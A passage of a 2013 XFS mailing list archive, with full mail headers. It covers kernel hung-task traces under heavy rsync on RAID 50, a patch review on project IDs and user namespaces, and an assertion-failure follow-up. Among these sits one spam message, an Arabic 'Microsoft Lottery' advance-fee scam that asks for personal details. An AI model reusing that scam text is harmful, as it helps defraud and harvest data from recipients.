[417935.986511] [] do_writepages+0x1c/0x40 [417936.025537] [] __filemap_fdatawrite_range+0x5b/0x60 [417936.065140] [] filemap_fdatawrite_range+0xe/0x10 [417936.105320] [] xfs_flush_pages+0x67/0xb0 [417936.145237] [] xfs_setattr+0x9da/0xa80 [417936.185206] [] xfs_vn_setattr+0x16/0x20 [417936.224767] [] notify_change+0x11d/0x300 [417936.264369] [] do_truncate+0x5c/0x90 [417936.303371] [] sys_ftruncate+0xc7/0xd0 [417936.341555] [] system_call_fastpath+0x16/0x1b [417936.379030] INFO: task rsync:25549 blocked for more than 120 seconds. [417936.417012] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [417936.455324] rsync D ffff88042daa35a0 0 25549 5627 0x00000000 [417936.493927] ffff8801fd84b808 0000000000000082 ffff8801fd84b7b8 0000000000000000 [417936.532884] 0000000000010800 ffff8801fd84bfd8 ffff8801fd84a010 0000000000010800 [417936.571574] ffff8801fd84bfd8 0000000000010800 ffffffff81a0b020 ffff88042daa3040 [417936.611035] Call Trace: [417936.649563] [] schedule+0x3a/0x60 [417936.688577] [] schedule_timeout+0x1d5/0x2b0 [417936.728017] [] ? xfs_da_do_buf+0x5f8/0x760 [417936.767408] [] ? kmem_zone_alloc+0x77/0xf0 [417936.806501] [] __down+0x69/0xb0 [417936.845640] [] ? _xfs_buf_find+0xf6/0x270 [417936.885062] [] down+0x3c/0x50 [417936.925012] [] xfs_buf_lock+0x40/0xe0 [417936.964598] [] _xfs_buf_find+0xf6/0x270 [417937.004007] [] xfs_buf_get+0x59/0x190 [417937.043544] [] xfs_buf_read+0x27/0x100 [417937.082900] [] xfs_trans_read_buf+0x1e8/0x410 [417937.122465] [] xfs_read_agf+0x61/0x1a0 [417937.161379] [] xfs_alloc_read_agf+0x34/0xd0 [417937.200439] [] xfs_alloc_fix_freelist+0x401/0x470 [417937.239532] [] ? kmem_cache_free+0x1b/0xf0 [417937.278505] [] ? xfs_trans_free_item_desc+0x2e/0x30 [417937.317752] [] ? xfs_trans_free_items+0x87/0xb0 [417937.356843] [] ? xfs_perag_get+0x33/0xb0 [417937.396008] [] ? xfs_free_extent+0x97/0x120 [417937.435181] [] xfs_free_extent+0xa8/0x120 [417937.473635] [] ? kmem_zone_alloc+0x77/0xf0 [417937.511878] [] xfs_bmap_finish+0x15d/0x1a0 [417937.553173] [] xfs_itruncate_finish+0x15f/0x330 [417937.595039] [] xfs_inactive+0x313/0x470 [417937.633483] [] xfs_fs_evict_inode+0xba/0x100 [417937.671809] [] evict+0x7b/0x140 [417937.710082] [] iput_final+0xc8/0x180 [417937.748325] [] iput+0x33/0x40 [417937.786032] [] do_unlinkat+0x164/0x1c0 [417937.823972] [] ? vfs_write+0x125/0x190 [417937.861674] [] ? math_state_restore+0x3b/0x70 [417937.899449] [] sys_unlink+0x11/0x20 [417937.936815] [] system_call_fastpath+0x16/0x1b Any ideas what this is? mount options are:rw,noatime,nodiratime,inode64,logbufs=8,logbsize=256k Greets, Stefan From david@fromorbit.com Mon Jul 29 02:51:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 67F187F3F for ; Mon, 29 Jul 2013 02:51:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5205830404E for ; Mon, 29 Jul 2013 00:51:16 -0700 (PDT) X-ASG-Debug-ID: 1375084274-04cbb02c3b1ba220001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id JkCKt6T0BcvKxlYK for ; Mon, 29 Jul 2013 00:51:14 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtkUAIwd9lF5LPxH/2dsb2JhbABbgwY1qh4CjlSFMoETF3SCJAEBBAEnExwjBQsIAxUDCQwZDwUlAyETiAoFDbdcFo0Ygk8HCoMObwOXXooihyuBW4FLKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 29 Jul 2013 17:21:13 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3iEX-0005Rx-Vg; Mon, 29 Jul 2013 17:51:10 +1000 Date: Mon, 29 Jul 2013 17:51:09 +1000 From: Dave Chinner To: Gao feng Cc: "Eric W. Biederman" , linux-fsdevel@vger.kernel.org, Linux Containers , linux-kernel@vger.kernel.org, "Serge E. Hallyn" , Ben Myers , Alex Elder , xfs@oss.sgi.com Subject: Re: [PATCH review 05/16] xfs: Update xfs_ioctl_setattr to handle projids in any user namespace Message-ID: <20130729075109.GF13468@dastard> X-ASG-Orig-Subj: Re: [PATCH review 05/16] xfs: Update xfs_ioctl_setattr to handle projids in any user namespace References: <87txpaph4n.fsf@xmission.com> <1361149870-27732-1-git-send-email-ebiederm@xmission.com> <1361149870-27732-5-git-send-email-ebiederm@xmission.com> <20130219015550.GJ26694@dastard> <51F616F2.5040906@cn.fujitsu.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F616F2.5040906@cn.fujitsu.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1375084274 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137398 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- [ cc xfs list ] On Mon, Jul 29, 2013 at 03:17:06PM +0800, Gao feng wrote: > On 02/19/2013 09:55 AM, Dave Chinner wrote: > > On Sun, Feb 17, 2013 at 05:10:58PM -0800, Eric W. Biederman wrote: > >> From: "Eric W. Biederman" > >> > >> - Convert the userspace value in fa->fsx_projid into a kprojid and > >> store it in the variable projid. > >> - Verify that xfs can store the projid after it is converted into > >> xfs's user namespace. > >> - Replace uses of fa->fsx_projid with projid throughout > >> xfs_ioctl_setattr. > >> > >> Cc: Ben Myers > >> Cc: Alex Elder > >> Cc: Dave Chinner > >> Signed-off-by: "Eric W. Biederman" > >> --- > >> fs/xfs/xfs_ioctl.c | 26 ++++++++++++++++++-------- > >> 1 files changed, 18 insertions(+), 8 deletions(-) > >> > >> diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > >> index 016624b..4a55f50 100644 > >> --- a/fs/xfs/xfs_ioctl.c > >> +++ b/fs/xfs/xfs_ioctl.c > >> @@ -925,6 +925,7 @@ xfs_ioctl_setattr( > >> struct xfs_dquot *gdqp = NULL; > >> struct xfs_dquot *olddquot = NULL; > >> int code; > >> + kprojid_t projid = INVALID_PROJID; > >> > >> trace_xfs_ioctl_setattr(ip); > >> > >> @@ -934,11 +935,20 @@ xfs_ioctl_setattr( > >> return XFS_ERROR(EIO); > >> > >> /* > >> - * Disallow 32bit project ids when projid32bit feature is not enabled. > >> + * Verify the specifid project id is valid. > >> */ > >> - if ((mask & FSX_PROJID) && (fa->fsx_projid > (__uint16_t)-1) && > >> - !xfs_sb_version_hasprojid32bit(&ip->i_mount->m_sb)) > >> - return XFS_ERROR(EINVAL); > >> + if (mask & FSX_PROJID) { > >> + projid = make_kprojid(current_user_ns(), fa->fsx_projid); > >> + if (!projid_valid(projid)) > >> + return XFS_ERROR(EINVAL); > >> + > >> + /* > >> + * Disallow 32bit project ids when projid32bit feature is not enabled. > >> + */ > >> + if ((from_kprojid(&init_user_ns, projid) > (__uint16_t)-1) && > >> + !xfs_sb_version_hasprojid32bit(&ip->i_mount->m_sb)) > >> + return XFS_ERROR(EINVAL); > >> + } > > > > That looks busted. Why does one use current_user_ns() and the other > > &init_user_ns()? > > > > hmm, through this thread had been stopped discussing for a long time, but I'm working on converting > ids to kids for xfs now, and I want to remove the finial dependenciy for user namespace. You're duplicating work that is already going on - we've been talking about this stuff on the XFS list and reviewing patches for the last 3-4 weeks for this. http://oss.sgi.com/pipermail/xfs/2013-July/028467.html Basically, the discussion we are currently having is whether project IDs should be exposed to user namespaces at all. e.g: http://oss.sgi.com/pipermail/xfs/2013-July/028497.html http://oss.sgi.com/pipermail/xfs/2013-July/028551.html "Basically, until we have worked out *if* project quotas can be used safely within user namespaces, we need to reject any attempt to use them from within a user namespace container." i.e. the whole "project IDs are part of user namespaces because of quotas" looks like a bad decision to have been made. Project IDs are independent of users and groups and can be used to account for usage across discontiguous directory and permission heirarchies, so trying to contain them to a "user namespace" really matches their functionality. > I think maybe just modifying from_kprojid(&init_user_ns, projid) to projid.val here is easier > to understand. The problem is not a question of how to implement mappings - it's a question of how to deal with fundamental impedence mismatch of user namespaces and project IDs.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 29 03:22:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3D83D7F3F for ; Mon, 29 Jul 2013 03:22:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1C1498F8035 for ; Mon, 29 Jul 2013 01:22:54 -0700 (PDT) X-ASG-Debug-ID: 1375086165-04cb6c153d1b9e30001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Hmp5kjUWSawySz01; Mon, 29 Jul 2013 01:22:46 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At0HAAIm9lF5LPxH/2dsb2JhbABbgwa5KYUygRQXdIIkAQEFOhwjEAgDGAklDwUlAyETiA+3aRaPZweEBwOXXpFNgyYq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 29 Jul 2013 17:52:31 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3iiq-0005Vv-GI; Mon, 29 Jul 2013 18:22:28 +1000 Date: Mon, 29 Jul 2013 18:22:28 +1000 From: Dave Chinner To: Stefan Priebe - Profihost AG Cc: "xfs@oss.sgi.com" , "xfs-masters@oss.sgi.com" Subject: Re: Vanilla 3.0.78 Message-ID: <20130729082228.GG13468@dastard> X-ASG-Orig-Subj: Re: Vanilla 3.0.78 References: <51F61C39.6050200@profihost.ag> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F61C39.6050200@profihost.ag> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1375086165 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137399 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 29, 2013 at 09:39:37AM +0200, Stefan Priebe - Profihost AG wrote: > Hi, > > while running 3.0.78 and doing heavy rsync tasks on a raid 50 i'm gettig > these call traces: Judging by the timestamps the problem clears and the system keeps running? If so, the problem is likely to be a combination of contention on a specific AG for allocation and slow IO. Given it is RAID 50, it's probably really slow IO, and probably lots of threads wanting the lock and queuing up on it. What's 'iostat -m -x -d 5' look like when these messages are dumped out? Cheers, Dave. -- Dave Chinner david@fromorbit.com From s.priebe@profihost.ag Mon Jul 29 03:31:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=unavailable version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 86CD37F52 for ; Mon, 29 Jul 2013 03:31:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 75854304043 for ; Mon, 29 Jul 2013 01:31:54 -0700 (PDT) X-ASG-Debug-ID: 1375086712-04cb6c2e9c1bed70001-NocioJ Received: from mail-ph.de-nserver.de (mail-ph.de-nserver.de [85.158.179.214]) by cuda.sgi.com with ESMTP id n0Lew2cibgbukqJr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 01:31:53 -0700 (PDT) X-Barracuda-Envelope-From: s.priebe@profihost.ag X-Barracuda-Apparent-Source-IP: 85.158.179.214 Received: (qmail 5286 invoked from network); 29 Jul 2013 10:31:52 +0200 X-Fcrdns: No Received: from fw-office.allied-internet.ag (HELO [192.168.1.148]) (85.158.179.66) (smtp-auth username hostmaster@profihost.com, mechanism plain) by mail-ph.de-nserver.de (qpsmtpd/0.92) with (AES256-SHA encrypted) ESMTPSA; Mon, 29 Jul 2013 10:31:52 +0200 Message-ID: <51F62878.4090408@profihost.ag> Date: Mon, 29 Jul 2013 10:31:52 +0200 From: Stefan Priebe - Profihost AG User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130623 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" , "xfs-masters@oss.sgi.com" Subject: Re: Vanilla 3.0.78 References: <51F61C39.6050200@profihost.ag> <20130729082228.GG13468@dastard> X-ASG-Orig-Subj: Re: Vanilla 3.0.78 In-Reply-To: <20130729082228.GG13468@dastard> X-Enigmail-Version: 1.4.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-User-Auth: Auth by hostmaster@profihost.com through 85.158.179.66 X-Barracuda-Connect: mail-ph.de-nserver.de[85.158.179.214] X-Barracuda-Start-Time: 1375086713 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137399 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Am 29.07.2013 10:22, schrieb Dave Chinner: > On Mon, Jul 29, 2013 at 09:39:37AM +0200, Stefan Priebe - Profihost AG wrote: >> Hi, >> >> while running 3.0.78 and doing heavy rsync tasks on a raid 50 i'm gettig >> these call traces: > > Judging by the timestamps the problem clears and the system keeps > running? Yes. > If so, the problem is likely to be a combination of contention on a > specific AG for allocation and slow IO. Given it is RAID 50, it's > probably really slow IO, and probably lots of threads wanting the > lock and queuing up on it. > > What's 'iostat -m -x -d 5' look like when these messages are dumped > out? Don't have that but some nagios stats. There were 1000 iop/s and 8MB/s. But i can reduce the tasks done in parallel if this is the problem. Stefan From zwu.kernel@gmail.com Mon Jul 29 03:34:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DA69D7F3F for ; Mon, 29 Jul 2013 03:34:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B4F5D304032 for ; Mon, 29 Jul 2013 01:34:00 -0700 (PDT) X-ASG-Debug-ID: 1375086839-04bdf02f201c0a50001-NocioJ Received: from mail-qa0-f54.google.com (mail-qa0-f54.google.com [209.85.216.54]) by cuda.sgi.com with ESMTP id uDsCTm6GATbTxqeR (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 29 Jul 2013 01:33:59 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.54 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.54] Received: by mail-qa0-f54.google.com with SMTP id bv4so1539514qab.13 for ; Mon, 29 Jul 2013 01:33:58 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.54] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.54] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=xj+XUHujtYZYrxfkrMiAihOPdDKMioCbm29vY+1Y7II=; b=026SCwes4YfwrBb+r24W5kEaznXtIipp+Fxssqv+NSjLNor865c1V19XPxXNMTs/Lp l8uYedDg4vfedzeQZAxtB3QC/YFe0e6D8vbro4PakHiYGgZJ9AtEND1WTJ2BKqZ4hsmn Ynh6ggGaqhoSbXlDRhW/GBm/uO2YUasHRQNlsmjhaeDpkxrDx1LW4Vd3gg7fHQ1x+TNp ZCgUjiT1nEs1NAXfmjaYyX+AQ08p1vLFjhTrNpPlFHcPfZDuqgbjVnw/yMBa3o8dEVZR 9sg9YiBaBF20X7mAXlEHTi2YpK7x40KHKHGGNctS5nIdu7lvO9S1DJAzJ8m75hOyrDDJ 75YQ== MIME-Version: 1.0 X-Received: by 10.49.74.102 with SMTP id s6mr10466379qev.24.1375086838835; Mon, 29 Jul 2013 01:33:58 -0700 (PDT) Received: by 10.49.48.226 with HTTP; Mon, 29 Jul 2013 01:33:58 -0700 (PDT) In-Reply-To: <20130726113717.GN13468@dastard> References: <1374759524-10061-1-git-send-email-zwu.kernel@gmail.com> <20130726020318.GD21982@dastard> <20130726113717.GN13468@dastard> Date: Mon, 29 Jul 2013 16:33:58 +0800 Message-ID: Subject: Re: [PATCH] xfs: fix an assertion failure From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH] xfs: fix an assertion failure To: Dave Chinner Cc: xfstests , "linux-fsdevel@vger.kernel.org" , linux-kernel mlist , Zhi Yong Wu Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f54.google.com[209.85.216.54] X-Barracuda-Start-Time: 1375086839 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137399 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Jul 26, 2013 at 7:37 PM, Dave Chinner wrote: > On Fri, Jul 26, 2013 at 02:01:23PM +0800, Zhi Yong Wu wrote: >> No, it still raised the same assertion as below: >> >> [ 521.715103] XFS: Assertion failed: !(bip->bli_item.li_flags & >> XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 940 > > How are you reproducing it? > > Can you take an event trace with trace-cmd and attach the output of > the report? After kernel base is switched to Linux 3.11-rc3, when i try to take event trace with trace-cmd, that issue doesn't appear any more in my environment. :) > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Regards, Zhi Yong Wu From Info@ifsc.edu.br Mon Jul 29 03:55:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=HTML_MESSAGE, MPART_ALT_DIFF_COUNT,TVD_SPACE_RATIO autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5DB037F4E for ; Mon, 29 Jul 2013 03:55:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2BB4E304032 for ; Mon, 29 Jul 2013 01:55:26 -0700 (PDT) X-ASG-Debug-ID: 1375088123-04bdf02f201c1730001-NocioJ Received: from hermes.ifsc.edu.br (hermes.ifsc.edu.br [200.18.10.2]) by cuda.sgi.com with ESMTP id V1MXk4mE1yZkU3I6 for ; Mon, 29 Jul 2013 01:55:24 -0700 (PDT) X-Barracuda-Envelope-From: Info@ifsc.edu.br X-Barracuda-Apparent-Source-IP: 200.18.10.2 Received: from localhost (localhost [127.0.0.1]) by hermes.ifsc.edu.br (Postfix) with ESMTP id E89E517B2BBE; Mon, 29 Jul 2013 05:52:23 -0300 (BRT) X-Virus-Scanned: Debian amavisd-new at hermes.ifsc.edu.br Received: from hermes.ifsc.edu.br ([127.0.0.1]) by localhost (hermes.cefetsc.edu.br [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id hwbfchBBiETY; Mon, 29 Jul 2013 05:52:22 -0300 (BRT) Received: from webmail.ifsc.edu.br (localhost [127.0.0.1]) by hermes.ifsc.edu.br (Postfix) with ESMTP; Mon, 29 Jul 2013 05:52:22 -0300 (BRT) Received: from 41.138.185.171 (SquirrelMail authenticated user michele.lima) by webmail.ifsc.edu.br with HTTP; Mon, 29 Jul 2013 05:52:22 -0300 (BRT) Message-ID: <18721335f3db43495d7e88298ce08eb0.squirrel@webmail.ifsc.edu.br> Date: Mon, 29 Jul 2013 05:52:22 -0300 (BRT) Subject: From: "Microsoft Lottery Claim" X-ASG-Orig-Subj: Reply-To: microsoft12@blumail.org User-Agent: SquirrelMail/1.4.15 MIME-Version: 1.0 Content-Type: multipart/alternative;boundary="----=_20130729055222_53239" X-Priority: 3 (Normal) Importance: Normal To: undisclosed-recipients:; X-Barracuda-Connect: hermes.ifsc.edu.br[200.18.10.2] X-Barracuda-Start-Time: 1375088123 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.18 X-Barracuda-Spam-Status: No, SCORE=2.18 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MAILTO_TO_SPAM_ADDR, MISSING_SUBJECT, MISSING_SUBJECT_2, MPART_ALT_DIFF_COUNT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137399 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.88 MPART_ALT_DIFF_COUNT BODY: HTML and text parts are different 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 MISSING_SUBJECT Missing Subject: header 1.28 MISSING_SUBJECT_2 Missing Subject: header ------=_20130729055222_53239 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit وقد فاز معرف البريد الإلكتروني الخاص بك 500،000.00 GBPفي اليانصيب مايكروسوفت تعزيز المعقودة في المملكة المتحدة، المشاركين في قرعة اليانصيب تم اختيارهم بشكل عشوائي من مجموعة واسعة وقدم مجموعة من المضيفين على الشبكة التي تمتعنا رعاية.اختيار من قبل. نظام حاسوبي ربط البريد الإلكتروني الشخصي. أرسل لنا المعلومات التالية الاسم الكامل: العنوان: الاحتلال: العمر: الهاتف: الجنس: لدينا مطالبات وكيل وزارة الإعلام أدناه الاسم: Mr.Donald جونز زينو، البريد الإلكتروني: microsoft12@blumail.org TEL: +447031960691 مع خالص التقدير. دونالد جونز زينو ------=_20130729055222_53239 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 8bit


    وقد فاز معرف البريد الإلكتروني الخاص بك £
    500،000.00 GBPفي اليانصيب
    مايكروسوفت تعزيز المعقودة في المملكة المتحدة،
    المشاركين في قرعة اليانصيب تم اختيارهم بشكل عشوائي من مجموعة واسعة
    وقدم مجموعة من المضيفين على الشبكة التي تمتعنا رعاية.اختيار من قبل.
    نظام حاسوبي ربط البريد الإلكتروني الشخصي.
    أرسل لنا المعلومات التالية

    الاسم الكامل:
    العنوان:
    الاحتلال:
    العمر:
    الهاتف:
    الجنس:

    لدينا مطالبات وكيل وزارة الإعلام أدناه
    الاسم: Mr.Donald جونز زينو،
    البريد الإلكتروني: microsoft12@blumail.org
    TEL: +447031960691

    مع خالص التقدير.
    دونالد جونز زينو ------=_20130729055222_53239-- From david@fromorbit.com Mon Jul 29 05:01:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DD4927F3F for ; Mon, 29 Jul 2013 05:01:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CB35C8F8035 for ; Mon, 29 Jul 2013 03:01:41 -0700 (PDT) X-ASG-Debug-ID: 1375092099-04cb6c2e9f1c39f0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id L2bYRXNftHgf7Htw; Mon, 29 Jul 2013 03:01:39 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At4HAEQ89lF5LPxH/2dsb2JhbABbgwa5KoUygRQXdIIkAQEEATocIwULCAMYCSUPBSUDIROICgW3aRaOPoEpB4QHA5dekU2DJiqBLQ Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 29 Jul 2013 19:31:38 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3kGk-0005iZ-V2; Mon, 29 Jul 2013 20:01:34 +1000 Date: Mon, 29 Jul 2013 20:01:34 +1000 From: Dave Chinner To: Stefan Priebe - Profihost AG Cc: "xfs@oss.sgi.com" , "xfs-masters@oss.sgi.com" Subject: Re: Vanilla 3.0.78 Message-ID: <20130729100134.GH13468@dastard> X-ASG-Orig-Subj: Re: Vanilla 3.0.78 References: <51F61C39.6050200@profihost.ag> <20130729082228.GG13468@dastard> <51F62878.4090408@profihost.ag> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F62878.4090408@profihost.ag> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1375092099 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137401 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 29, 2013 at 10:31:52AM +0200, Stefan Priebe - Profihost AG wrote: > Am 29.07.2013 10:22, schrieb Dave Chinner: > > On Mon, Jul 29, 2013 at 09:39:37AM +0200, Stefan Priebe - Profihost AG wrote: > >> Hi, > >> > >> while running 3.0.78 and doing heavy rsync tasks on a raid 50 i'm gettig > >> these call traces: > > > > Judging by the timestamps the problem clears and the system keeps > > running? > > Yes. > > > If so, the problem is likely to be a combination of contention on a > > specific AG for allocation and slow IO. 